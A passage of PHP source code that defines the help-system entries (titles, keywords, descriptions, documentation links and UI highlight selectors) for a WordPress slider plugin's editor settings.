						$hl => array($dp => array('layerselected'), $m => '#module_layers_trigger, #gst_layer_3', $st => '#form_layerstyle_bg', $f => "#layerBGColor")
					),
					'edit_content' => array(
						$t => __("Edit Content Layers", 'revsliderhelp'),
						$h => 'doc',
						$k => array("edit", "change", "style", "styles", "position", "size", "responsive"),
						$d => __("Edit text, images, videos, styles, position and size for your content", 'revsliderhelp'),
						$a => $u . "layer-content/#edit-set-content",
						$hl => array($dp => array('layerselected'), $m => '#module_layers_trigger, #gst_layer_1', $st => '#form_layer_content', $f => "#ta_layertext, #layer_htmltag, *[data-r='media.videoFromStream'], #layer_mpegaudio_src")
					),
					'add_new_layer' => array(
						$t => __("Add New Layer", 'revsliderhelp'),
						$h => 'doc',
						$k => array("layer", "layers", "add layer", "new layer", "import layer", "text", "image", "images", "video", "vimeo", "youtube", "you tube", "audio", "icon", "svg", "button", "shape", "row", "group"),
						$d => __("Add a variety of content to your Slides", 'revsliderhelp'),
						$a => $u . "layer-content/#add-new-layer",
						$hl => array($dp => array('addlayer'))
					),
					'global_layers' => array(
						$t => __("Global Layers", 'revsliderhelp'),
						$h => 'doc',
						$k => array("global", "static", "global layers", "static layers", "layers", "always visible", "always show"),
						$d => __("Add/Edit content that's meant to always be visible", 'revsliderhelp'),
						$a => $u . "global-layers/",
						$hl => array($dp => array('staticlayers'))
					)
				),
				'animations' => array(
					'slide_animations' => array(
						$t => __("Slide Animations", 'revsliderhelp'),
						$h => 'doc',
						$k => array("animation", "animations", "transition", "transitions", "slide animation", "slide animations", "slide transition", "slide transitions"),
						$d => __("60+ pre-built animations, animation duration, easing", 'revsliderhelp'),
						$a => $u . "slide-animation/",
						$hl => array($m => '#module_slide_trigger, #gst_slide_2', $st => '#form_slidebg_transition', $f => ".added_slide_transition.selected")
					),
					'layer_animations' => array(
						$t => __("Layer Animations", 'revsliderhelp'),
						$h => 'doc',
						$k => array("animation", "animations", "transition", "transitions", "layer animation", "layer animations", "layer transition", "layer transitions"),
						$d => __("Start/End animation timing and easing", 'revsliderhelp'),
						$a => $u . "layer-animations/",
						$hl => array($dp => array('layerselected'), $m => '#module_layers_trigger, #gst_layer_4', $st => '#form_animation_sframes', $f => ".frame_list_id")
					)
				),
				'navigation_links' => array(
					'enable_navigation' => array(
						$t => __("Enable/Disable Navigation", 'revsliderhelp'),
						$h => 'doc',
						$k => array("navigation", "add navigation", "enable navigation", "remove navigation", "disable navigation", "thumbs", "thumbnails", "tabs", "arrows", "bullets", "touch"),
						$d => __("Learn how to add/remove navigation elements to control the Slider", 'revsliderhelp'),
						$a => $u . "navigation-arrows/",
						$hl => array(
							$dp => array(array($p => 'settings.type', $v => 'standard::carousel', $o => 'slider_layout_type_standard')), 
							$m => "#module_navigation_trigger, #gst_nav_2", 
							$st => '#form_nav_arrows_mainstyle', 
							$f => "#sr_usenavarrow"
						)
					),
					'links' => array(
						$t => __("Add/Remove Links", 'revsliderhelp'),
						$h => 'doc',
						$k => array("link", "links", "add link", "add links", "remove link", "remove links", "delete link", "delete links", "hyperlink", "external link"),
						$d => __("Add/Remove links to additional slides, other web pages/posts or external websites", 'revsliderhelp'),
						$a => $u . "simple-link/",
						$hl => array($m => '#module_slide_trigger, #gst_slide_4', $st => '#form_slidegeneral_linkseo', $f => "#sl_seo_set")
					)
				),
				'addon_extentions' => array(
					'activate_enable' => array(
						$t => __("Active/Enable Addons", 'revsliderhelp'),
						$h => 'doc',
						$k => array("addon", "addons", "extentions", "enable addon", "enable addons", "activate addon", "activate addons"),
						$d => __("Learn how to activate an AddOn for the Slider", 'revsliderhelp'),
						$a => $u . "enable-addons/",
						$hl => array($m => '#module_settings_trigger, #gst_sl_9', 'modal' => 'addons')
					),
					'how_to_use' => array(
						$t => __("How To Use", 'revsliderhelp'),
						$h => 'doc',
						$k => array("addon", "addons", "extentions", "addon settings"),
						$d => __("AddOn Settings will be located in the Slider, Slide or Layer settings depending on the AddOns functionality", 'revsliderhelp'),
						$a => $u . "addon-guides/",
					)
				)
			),
			'editor_settings' => array(
				'slider_settings' => array(
					'gst_sl_1' => array(
						$t => array(
							$t => __("Slider Title", 'revsliderhelp'),
							$h => "title",
							$k => array("slider", "title", "name", "naming"),
							$d => __("Set the title of the Slider for admin/editing purposes", 'revsliderhelp'),
							$a => $u . "module-title-shortcode/",
							$hl => array($m => '#module_settings_trigger, #gst_sl_1', $st => '#form_module_title', $f => "#sr_title")
						),
						'alias' => array(
							$t => __("Slider Alias",  'revsliderhelp'),
							$h => "alias", 
							$k => array("slider", "alias", "shortcode"),
							$d => __("The slider's alias is used to define a unique shortcode", 'revsliderhelp'),
							$a => $u . "module-title-shortcode/",
							$hl => array($m => '#module_settings_trigger, #gst_sl_1', $st => '#form_module_title', $f => "#sr_alias")
						),
						'shortcode' => array(
							$t => __("Slider Shortcode", 'revsliderhelp'),
							$h => "shortcode", 
							$k => array("slider", "shortcode", "slider shortcode"),
							$d => __("Place the shortcode on the page or post where you want to show this module", 'revsliderhelp'),
							$a => $u . "module-title-shortcode/",
							$hl => array($m => '#module_settings_trigger, #gst_sl_1', $st => '#form_module_title', $f => "#sr_shortcode")
						)
					),
					'gst_sl_2' => array(
						'type' => array(
							'standard' => array(
								$di => "slider_layout_type_standard",
								$t => __("Standard Slider", 'revsliderhelp'),
								$h => "type.standard",
								$k => array("slider", "slider layout", "layout", "type", "scene", "hero", "carousel"),
								$d => __("A Slider that can have multiple slides with navigation", 'revsliderhelp'),
								$a => $u . "module-layout/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_sliderlayout', $f => "input[name=slidertype][value=standard]")
							),
							'hero' => array(
								$t => __("Hero Scene", 'revsliderhelp'),
								$h => "type.hero",
								$k => array("slider", "slider layout", "layout", "type", "scene", "hero", "carousel"),
								$d => __("A single-slide Slider with no navigation", 'revsliderhelp'),
								$a => $u . "module-layout//",
								$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_sliderlayout', $f => "input[name=slidertype][value=hero]")
							),
							'carousel' => array(
								$di => "slider_layout_type_carousel",
								$t => __("Carousel", 'revsliderhelp'),
								$h => "type.carousel",
								$k => array("slider", "slider layout", "layout", "type", "scene", "hero", "carousel"),
								$d => __("Display the Slider as a traditional Carousel", 'revsliderhelp'),
								$a => $u . "module-layout/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_sliderlayout', $f => "input[name=slidertype][value=carousel]")
							),
						),
						'sizing' => array(
							'auto' => array(
								$t => __("Auto", 'revsliderhelp'),
								$h => "layouttype.auto",
								$k => array("slider", "slider sizing", "responsive", "respon", "sizing", "auto"),
								$d => __("Size will adapt to the same size as the web page's content", 'revsliderhelp'),
								$a => $u . "module-layout/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_sliderlayout', $f => "input[name=sliderlayouttype][value=auto]")
							),
							'fullwidth' => array(
								$t => __("Full Width", 'revsliderhelp'),
								$h => "layouttype.fullwidth",
								$k => array("slider", "slider sizing", "responsive", "respon", "sizing", "full width", "full-width", "fullwidth"),
								$d => __("Display the Slider 100% width across the page", 'revsliderhelp'),
								$a => $u . "module-layout/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_sliderlayout', $f => "input[name=sliderlayouttype][value=fullwidth]")
							),
							'fullscreen' => array(
								$di => "slider_layouttype_fullscreen",
								$t => __("Full Screen", 'revsliderhelp'),
								$h => "layouttype.fullscreen",
								$k => array("slider", "slider sizing", "responsive", "respon", "sizing", "full screen", "full-screen", "fullscreen"),
								$d => __("Display the Slider at 100% width and height", 'revsliderhelp'),
								$a => $u . "module-layout/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_sliderlayout', $f => "input[name=sliderlayouttype][value=fullscreen]")
							),
							'advanced' => array(
								'max_width' => array(
									$t => __("Max Width", 'revsliderhelp'),
									$h => "size.maxWidth",
									$k => array("max", "max width", "sizing", "layout"),
									$d => __("Optional maximum width for the Slider", 'revsliderhelp'),
									$a => $u . "module-layout/",
									$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_adv', $f => "#sr_size_maxwidth")
								),
								'min_height' => array(
									$t => __("Min Height", 'revsliderhelp'),
									$h => "size.minHeight",
									$k => array("min", "min height", "sizing", "layout"),
									$d => __("Optional minimum height for the Slider", 'revsliderhelp'),
									$a => $u . "module-layout/",
									$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_adv', $f => "#sr_size_minheight")
								),
								'max_height' => array(
									$t => __("Max Height", 'revsliderhelp'),
									$h => "size.maxHeight",
									$k => array("max", "max height", "sizing", "layout"),
									$d => __("Optional maximum height for the Slider", 'revsliderhelp'),
									$a => $u . "module-layout/",
									$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_adv', $f => "#sr_size_maxheight")
								),
								'breakpoint_heights' => array(
									$t => __("Keep Breakpoint Heights", 'revsliderhelp'),
									$h => "size.keepBPHeight",
									$k => array("breakpoints", "height", "heights", "breakpoint", "responsive"),
									$d => __("If enabled the Slider's height will always equal the viewport's breakpoint height", 'revsliderhelp'),
									$a => $u . "module-layout/",
									$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_adv', $f => "#sr_breakpoint_heights")
								),
								'aspect_ratio' => array(
									$t => __("Respect Aspect Ratio", 'revsliderhelp'),
									$h => "size.respectAspectRatio",
									$k => array("ratio", "aspect", "aspect ratio", "lock"),
									$d => __("Activates a responsive height for the Slider", 'revsliderhelp'),
									$a => $u . "module-layout/",
									$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_adv', $f => "#sr_respectAR")
								),
								'grid_equals_module' => array(
									$t => __("Grid = Module", 'revsliderhelp'),
									$h => "size.layersAlignOnModule",
									$k => array("ratio", "aspect", "aspect ratio", "grid", "module"),
									$d => __("The default align behavior for Layers.  If enabled, Layers will be aligned to the entire Module and if disabled Layers will align to the device breakpoint grid area.", 'revsliderhelp'),
									$a => $u . "module-layout/",
									$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_adv', $f => "#sr_layersAlignOnModule")
								),
								'force_overflow' => array(
									$t => __("Force Overflow", 'revsliderhelp'),
									$h => "size.forceOverflow",
									$k => array("ratio", "aspect", "aspect ratio", "overflow"),
									$d => __("Allow for content to be visible outside the Slider's bounding box", 'revsliderhelp'),
									$a => $u . "module-layout/",
									$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_adv', $f => "#sr_forceOvVi")
								),
								'fixed_top' => array(
									$t => __("Fixed on Top", 'revsliderhelp'),
									$h => "layout.position.fixedOnTop",
									$k => array("ratio", "aspect", "aspect ratio", "overflow"),
									$d => __("The module will be positioned at the top of the screen at all times.  Useful for creating sticky menus.", 'revsliderhelp'),
									$a => $u . "module-layout/",
									$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_adv', $f => '*[data-r="layout.position.fixedOnTop"]')
								),
								'theperspective' => array(
									$t => __("Global 3D Perspective", 'revsliderhelp'),
									$h => "general.perspectiveType",
									$k => array("perspective", "isometric", "3D", "3d"),
									$d => __("Defines the Perspective by the 3D rendering of layers. This can be set globally (3D Uniset) for better and easier handling or individuel (3D Individual) on each single layer frames. We recommend to do this globally.  The Special option Isometric will set the perspective to 0 automatically", 'revsliderhelp'),
									$a => $u . "module-layout/",
									$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_adv', $f => '*[data-r="layout.general.perspectiveType"]')
								),
								'theperspective_value' => array(
									$t => __("Global 3D Layer Perspective", 'revsliderhelp'),
									$h => "general.perspective",
									$k => array("perspective", "isometric", "3D", "3d","layer perspective"),
									$d => __("Defines the Perspective by the 3D rendering of layers globally.", 'revsliderhelp'),
									$a => $u . "module-layout/",
									$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_adv', $f => '*[data-r="layout.general.perspective"]')
								),

							),
							'slider_wrapper_position' => array(
								'align' => array(
									$t => __("Slider Alignment", 'revsliderhelp'),
									$h => "layout.position.align",
									$k => array("align", "slider align", "position", "slider position", "wrapper"),
									$d => __("Align the Slider to the left, center or right inside its parent container", 'revsliderhelp'),
									$a => $u . "module-general-settings/",
									$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slidergeneral_general_sr_position', $f => "*[name='slider_pos_in_wrapper']{first}")
								),
								'margin_top' => array(
									$t => __("Margin Top", 'revsliderhelp'),
									$h => "layout.position.marginTop",
									$k => array("margin", "margin top", "top margin", "slider margin"),
									$d => __("Apply a top margin to the Slider (px)", 'revsliderhelp'),
									$a => $u . "module-general-settings/",
									$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slidergeneral_general_sr_position', $f => "#sr_pos_marg_top")
								),
								'margin_bottom' => array(
									$t => __("Margin Bottom", 'revsliderhelp'),
									$h => "layout.position.marginBottom",
									$k => array("margin", "margin bottom", "bottom margin", "slider margin"),
									$d => __("Apply a bottom margin to the Slider (px)", 'revsliderhelp'),
									$a => $u . "module-general-settings/",
									$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slidergeneral_general_sr_position', $f => "#sr_pos_marg_bottom")
								)
							),
							'full_screen_offset' => array(
								'offset_container' => array(
									$t => __("Offset Container", 'revsliderhelp'),
									$h => "size.fullScreenOffsetContainer",
									$k => array("fullscreen", "offset", "offset container", "decrease"),
									$d => __("Useful for allocating space for a page's menu or footer.  Accepts a jQuery selector such as '.menu' or 'footer'.", 'revsliderhelp'),
									$a => $u . "module-layout/",
									$hl => array(
										$dp => array(array($p => 'settings.layouttype', $v => 'fullscreen', $o => 'slider_layouttype_fullscreen')), 
										$m => "#module_settings_trigger, #gst_sl_2", 
										$st => '#form_slider_layout_decmohei', 
										$f => "#sr_fs_height__decrease_cont"
									)
								),
								'offset_value' => array(
									$t => __("Offset px/%", 'revsliderhelp'),
									$h => "size.fullScreenOffset",
									$k => array("fullscreen", "offset", "offset container", "decrease"),
									$d => __("Useful for allocating space for a page's menu or footer.  Enter a px or % value.", 'revsliderhelp'),
									$a => $u . "module-layout/",
									$hl => array(
										$dp => array(array($p => 'settings.layouttype', $v => 'fullscreen', $o => 'slider_layouttype_fullscreen')), 
										$m => "#module_settings_trigger, #gst_sl_2", 
										$st => '#form_slider_layout_decmohei', 
										$f => "#sr_fs_height_decrease"
									)
								),
								'no_force_fullwidth' => array(
									$t => __("Don't Force Fullwidth", 'revsliderhelp'),
									$h => "size.disableForceFullWidth",
									$k => array("full width", "fullwidth", "force"),
									$d => __("If enabled, the Module's width will remain the same as its immediate parent container", 'revsliderhelp'),
									$a => $u . "module-layout/",
									$hl => array(
										$dp => array(array($p => 'settings.layouttype', $v => 'fullscreen', $o => 'slider_layouttype_fullscreen')), 
										$m => "#module_settings_trigger, #gst_sl_2", 
										$st => '#form_slider_layout_decmohei', 
										$f => "#sr_keepautowidth"
									)
								)
							)
						),
						'responsive_breakpoints' => array(
							'desktop' => array(
								'enable' => array(
									$t => __("Desktop Viewport", 'revsliderhelp'),
									$h => "size.custom.d",
									$k => array(),
									$d => __("The default viewport.  This option will always be enabled", 'revsliderhelp'),
									$a => $u . "module-layout/#breakpoints",
									$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "*[data-helpkey='size.custom.d']")
								),
								'width' => array(
									$t => __("Desktop Width", 'revsliderhelp'),
									$h => "size.width.d",
									$k => array("respon", "responsive", "slider size", "slider width", "desktop", "desktop width", "viewport", "view", "grid", "grid width", "grid size"),
									$d => __("The responsive grid width (in pixels) for the Desktop viewport", 'revsliderhelp'),
									$a => $u . "module-layout/#breakpoints",
									$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "#sr_size_width_d")
								),
								'height' => array(
									$t => __("Desktop Height", 'revsliderhelp'),
									$h => "size.height.d",
									$k => array("respon", "responsive", "slider size", "slider height", "desktop", "desktop height", "viewport", "view", "grid", "grid height", "grid size"),
									$d => __("The responsive grid height (in pixels) for the Desktop viewport", 'revsliderhelp'),
									$a => $u . "module-layout/#breakpoints",
									$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "#sr_size_height_d")
								),
							),
							'laptop' => array(
								'enable' => array(
									$t => __("Laptop Viewport", 'revsliderhelp'),
									$h => "size.custom.n",
									$k => array("respon", "responsive", "slider size", "notebook", "laptop", "viewport", "view", "grid", "grid size"),
									$d => __("Enable the Laptop responsive viewport", 'revsliderhelp'),
									$a => $u . "module-layout/#breakpoints",
									$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "#sr_custom_n")
								),
								'width' => array(
									$t => __("Laptop Width", 'revsliderhelp'),
									$h => "size.width.n",
									$k => array("respon", "responsive", "slider size", "slider width", "notebook", "notebook width", "laptop", "laptop width", "viewport", "view", "grid", "grid width", "grid size"),
									$d => __("The responsive grid width (in pixels) for the Laptop viewport", 'revsliderhelp'),
									$a => $u . "module-layout/#breakpoints",
									$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "#sr_size_width_n")
								),
								'height' => array(
									$t => __("Laptop Height", 'revsliderhelp'),
									$h => "size.height.n",
									$k => array("respon", "responsive", "slider size", "slider height", "notebook", "notebook height", "laptop", "laptop height", "viewport", "view", "grid", "grid height", "grid size"),
									$d => __("The responsive grid height (in pixels) for the Laptop viewport", 'revsliderhelp'),
									$a => $u . "module-layout/#breakpoints",
									$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "#sr_size_height_n")
								),
							),
							'tablet' => array(
								'enable' => array(
									$t => __("Tablet Viewport", 'revsliderhelp'),
									$h => "size.custom.t",
									$k => array("respon", "responsive", "slider size", "tablet", "ipad", "viewport", "view", "grid", "grid size"),
									$d => __("Enable the Tablet responsive viewport", 'revsliderhelp'),
									$a => $u . "module-layout/#breakpoints",
									$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "#sr_custom_t")
								),
								'width' => array(
									$t => __("Tablet Width", 'revsliderhelp'),
									$h => "size.width.t",
									$k => array("respon", "responsive", "slider size", "slider width", "ipad", "tablet", "tablet width", "viewport", "view", "grid", "grid width", "grid size"),
									$d => __("The responsive grid width (in pixels) for the Tablet viewport", 'revsliderhelp'),
									$a => $u . "module-layout/#breakpoints",
									$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "#sr_size_width_t")
								),
								'height' => array(
									$t => __("Tablet Height", 'revsliderhelp'),
									$h => "size.height.t",
									$k => array("respon", "responsive", "slider size", "slider height", "ipad", "tablet", "tablet height", "viewport", "view", "grid", "grid height", "grid size"),
									$d => __("The responsive grid height (in pixels) for the Tablet viewport", 'revsliderhelp'),
									$a => $u . "module-layout/#breakpoints",
									$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "#sr_size_height_t")
								),
							),
							'phone' => array(
								'enable' => array(
									$t => __("Phone Viewport", 'revsliderhelp'),
									$h => "size.custom.m",
									$k => array("respon", "responsive", "slider size", "phone", "iphone", "viewport", "view", "grid", "grid size"),
									$d => __("Enable the Phone responsive viewport", 'revsliderhelp'),
									$a => $u . "module-layout/#breakpoints",
									$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "#sr_custom_m")
								),
								'width' => array(
									$t => __("Tablet Width", 'revsliderhelp'),
									$h => "size.width.m",
									$k => array("respon", "responsive", "slider size", "slider width", "iphone", "iphone width", "phone", "phone width", "smart", "smartphone", "smartphone width", "smart phone", "smart phone width", "viewport", "view", "grid", "grid width", "grid size"),
									$d => __("The responsive grid width (in pixels) for the Tablet viewport", 'revsliderhelp'),
									$a => $u . "module-layout/#breakpoints",
									$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "#sr_size_width_m")
								),
								'height' => array(
									$t => __("Tablet Height", 'revsliderhelp'),
									$h => "size.height.m",
									$k => array("respon", "responsive", "slider size", "slider height", "iphone", "iphone height", "phone", "phone height", "smart", "smartphone", "smartphone height", "smart phone", "smart phone height", "viewport", "view", "grid", "grid height", "grid size"),
									$d => __("The responsive grid height (in pixels) for the Tablet viewport", 'revsliderhelp'),
									$a => $u . "module-layout/#breakpoints",
									$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_bpoints', $f => "#sr_size_height_m")
								)
							)
						),
						'module_background' => array(
							'image' => array(
								'enable' => array(
									$di => "slider_layout_bg_useimage",
									$t => __("Use Image", 'revsliderhelp'),
									$h => "layout.bg.useImage",
									$k => array("image", "images", "background", "bg", "bg image", "background image", "image background"),
									$d => __("Set a global background image for the Slider", 'revsliderhelp'),
									$a => $u . "module-layout/#module-background",
									$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_decmobg', $f => "#sr_usebgimage")
								),
								'url' => array(
									$t => __("Image URL", 'revsliderhelp'),
									$h => "layout.bg.image",
									$k => array("image", "images", "background", "bg", "bg image", "background image", "url", "image background"),
									$d => __("Enter an image url or select/upload an image from the Media or Object Library to be used as the Slider's global background image", 'revsliderhelp'),
									$a => $u . "module-layout/#module-background",
									$hl => array(
										$dp => array(array($p => 'settings.layout.bg.useImage', $v => true, $o => 'slider_layout_bg_useimage')), 
										$m => "#module_settings_trigger, #gst_sl_2", 
										$st => '#form_slider_layout_decmobg', 
										$f => "#sr_bgimage"
									)
								),
								'position' => array(
									$t => __("BG Position", 'revsliderhelp'),
									$h => "layout.bg.position",
									$k => array("image", "images", "background", "bg", "bg image", "background position"),
									$d => __("The CSS background-position for the Slider's global background image", 'revsliderhelp'),
									$a => $u . "module-layout/#module-background",
									$hl => array(
										$dp => array(array($p => 'settings.layout.bg.useImage', $v => true, $o => 'slider_layout_bg_useimage')), 
										$m => "#module_settings_trigger, #gst_sl_2", 
										$st => '#form_slider_layout_decmobg', 
										$f => "#sliderm_bg_position_center-center"
									)
								),
								'fit' => array(
									$t => __("Image Fit", 'revsliderhelp'),
									$h => "layout.bg.fit",
									$k => array("background size", "fit", "image fit", "cover", "contain"),
									$d => __("The css background-size value for the Slider's global background image", 'revsliderhelp'),
									$a => $u . "module-layout/#module-background",
									$hl => array(
										$dp => array(array($p => 'settings.layout.bg.useImage', $v => true, $o => 'slider_layout_bg_useimage')), 
										$m => "#module_settings_trigger, #gst_sl_2", 
										$st => '#form_slider_layout_decmobg', 
										$f => "#sr_bgimage_fit"
									)
								),
								'repeat' => array(
									$t => __("BG Repeat", 'revsliderhelp'),
									$h => "layout.bg.repeat",
									$k => array("background repeat", "repeat"),
									$d => __("The css background-repeat value for the Slider's global background image", 'revsliderhelp'),
									$a => $u . "module-layout/#module-background",
									$hl => array(
										$dp => array(array($p => 'settings.layout.bg.useImage', $v => true, $o => 'slider_layout_bg_useimage')), 
										$m => "#module_settings_trigger, #gst_sl_2", 
										$st => '#form_slider_layout_decmobg', 
										$f => "#sr_bgimage_repeat"
									)
								)
							),
							'bg_color' => array(
								$t => __("Module BG Color", 'revsliderhelp'),
								$h => "layout.bg.color",
								$k => array("bg", "background", "background color", "global background", "global background color", "slider background", "slider bg"),
								$d => __("Set a global background color for the Slider", 'revsliderhelp'),
								$a => $u . "module-layout/#module-background",
								$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_decmobg', $f => "#sliderbgcolor")
							)
						),
						'border_overlay_shadow' => array(
							'overlay' => array(
								$t => __("Overlay", 'revsliderhelp'),
								$h => "layout.bg.dottedOverlay",
								$k => array("overlay", "dotted", "dotted overlay"),
								$d => __("Add an mesh-style overlay to the Slider", 'revsliderhelp'),
								$a => $u . "module-layout/#border-overlay-shadow",
								$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_decboovsh', $f => "#sr_overlay")
							),
							'shadow' => array(
								$t => __("Shadow", 'revsliderhelp'),
								$h => "layout.bg.shadow",
								$k => array("shadow", "box-shadow", "slider shadow"),
								$d => __("Choose an optional shadow to add to the Slider", 'revsliderhelp'),
								$a => $u . "module-layout/#border-overlay-shadow",
								$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_decboovsh', $f => "#sr_shadow")
							),
							'border' => array(
								$t => __("Gap (Border)", 'revsliderhelp'),
								$h => "layout.bg.padding",
								$k => array("border", "padding"),
								$d => __("Add extra spacing around the Slider", 'revsliderhelp'),
								$a => $u . "module-layout/#border-overlay-shadow",
								$hl => array($m => "#module_settings_trigger, #gst_sl_2", $st => '#form_slider_layout_decboovsh', $f => "#sr_layout_padding")
							)
						)
					),
					'gst_sl_4' => array(
						 'source' => array(
							'custom' => array(
								$t => __("Custom Content", 'revsliderhelp'),
								$h => "sourcetype.gallery",
								$k => array("gallery", "source", "custom"),
								$d => __("Add your own custom text/images/video to the Slider", 'revsliderhelp'),
								$a => $u . "module-content/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_content', $f => "*[name='slider_sourcetype'][value='gallery']")
							),
							'post' => array(
								$di => "slider_sourcetype_post",
								$t => __("Post Based", 'revsliderhelp'),
								$h => "sourcetype.post",
								$k => array("post", "post based", "source"),
								$d => __("Populate the Slider with your WordPress post content", 'revsliderhelp'),
								$a => $u . "post-based-sliders/",
								$hl => array($m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_content', $f => "*[name='slider_sourcetype'][value='post']")
							),
							'woocommerce' => array(
								$di => "slider_sourcetype_woo",
								$t => __("WooCommerce", 'revsliderhelp'),
								$h => "sourcetype.woo",
								$k => array("post", "woo", "woocommerce", "woo commerce", "source", "product", "products", "woocommerce products"),
								$d => __("Populate the Slider with your WooCommerce Products", 'revsliderhelp'),
								$a => $u . "module-content/#woocommerce",
								$hl => array($m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_content', $f => "*[name='slider_sourcetype'][value='woo']")
							),
							'flickr' => array(
								$di => "slider_sourcetype_flickr",
								$t => __("Flickr", 'revsliderhelp'),
								$h => "sourcetype.flickr",
								$k => array("source", "flickr", "gallery", "stream"),
								$d => __("Populate the Slider with your Flickr Content", 'revsliderhelp'),
								$a => $u . "module-content/#flickr",
								$hl => array($m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_content', $f => "*[name='slider_sourcetype'][value='flickr']")
							),
							'instagram' => array(
								$di => "slider_sourcetype_instagram",
								$t => __("Instagram", 'revsliderhelp'),
								$h => "sourcetype.instagram",
								$k => array("source", "instagram", "gallery", "stream"),
								$d => __("Populate the Slider with Instagram Images", 'revsliderhelp'),
								$a => $u . "module-content/#instagram",
								$hl => array($m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_content', $f => "*[name='slider_sourcetype'][value='instagram']")
							),
							'twitter' => array(
								$di => "slider_sourcetype_twitter",
								$t => __("Twitter", 'revsliderhelp'),
								$h => "sourcetype.twitter",
								$k => array("twitter", "source", "tweet", "stream"),
								$d => __("Populate the Slider from a Twitter account", 'revsliderhelp'),
								$a => $u . "module-content/#twitter",
								$hl => array($m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_content', $f => "*[name='slider_sourcetype'][value='twitter']")
							),
							'facebook' => array(
								$di => "slider_sourcetype_facebook",
								$t => __("Facebook", 'revsliderhelp'),
								$h => "sourcetype.facebook",
								$k => array("source", "facebook", "face", "stream"),
								$d => __("Populate the Slider from a Facebook album or timeline", 'revsliderhelp'),
								$a => $u . "module-content/#facebook",
								$hl => array($m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_content', $f => "*[name='slider_sourcetype'][value='facebook']")
							),
							'youtube' => array(
								$di => "slider_sourcetype_youtube",
								$t => __("YouTube", 'revsliderhelp'),
								$h => "sourcetype.youtube",
								$k => array("video", "youtube", "you tube", "source", "stream"),
								$d => __("Populate the Slider with a YouTube Channel or Playlist", 'revsliderhelp'),
								$a => $u . "module-content/#youtube",
								$hl => array($m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_content', $f => "*[name='slider_sourcetype'][value='youtube']")
							),
							'vimeo' => array(
								$di => "slider_sourcetype_vimeo",
								$t => __("Vimeo", 'revsliderhelp'),
								$h => "sourcetype.vimeo",
								$k => array("video", "vimeo", "stream"),
								$d => __("Populate the Slider with a Vimeo account's content", 'revsliderhelp'),
								$a => $u . "module-content/#vimeo",
								$hl => array($m => "#module_settings_trigger, #gst_sl_4", $st => '#form_slider_content_content', $f => "*[name='slider_sourcetype'][value='vimeo']")
							)
						),
						'post_options' => array(
							'type' => array(
								$di => "settings_source_post_subtype",
								$t => __("Post Options Type", 'revsliderhelp'),
								$h => "source.post.subType",
								$k => array("post", "posts", "post-based", "post type", "specific post", "current post"),
								$d => __("Choose 'Post' to pull in a range of posts, 'Specific Post' to pull in posts by ID, or 'Current Post' to populate the Slider with the current post's content", 'revsliderhelp'),
								$a => $u . "post-based-sliders/",
								$hl => array(
									$dp => array(array($p => 'settings.sourcetype', $v => 'post', $o => 'slider_sourcetype_post')), 
									$m => "#module_settings_trigger, #gst_sl_4", 
									$st => '#form_slider_content_content', 
									$f => "*[name='slidersourcesubtype']*wildcard*"
								)
							),
							'fetch_by' => array(
								$t => __("Fetch By", 'revsliderhelp'),
								$h => "source.post.fetchType",
								$k => array("post", "posts", "categories", "tags", "related", "popular", "recent"),
								$d => __("Choose which type of posts should be pulled into the Slider", 'revsliderhelp'),
								$a => $u . "post-based-sliders/",
								$hl => array(
									$dp => array(
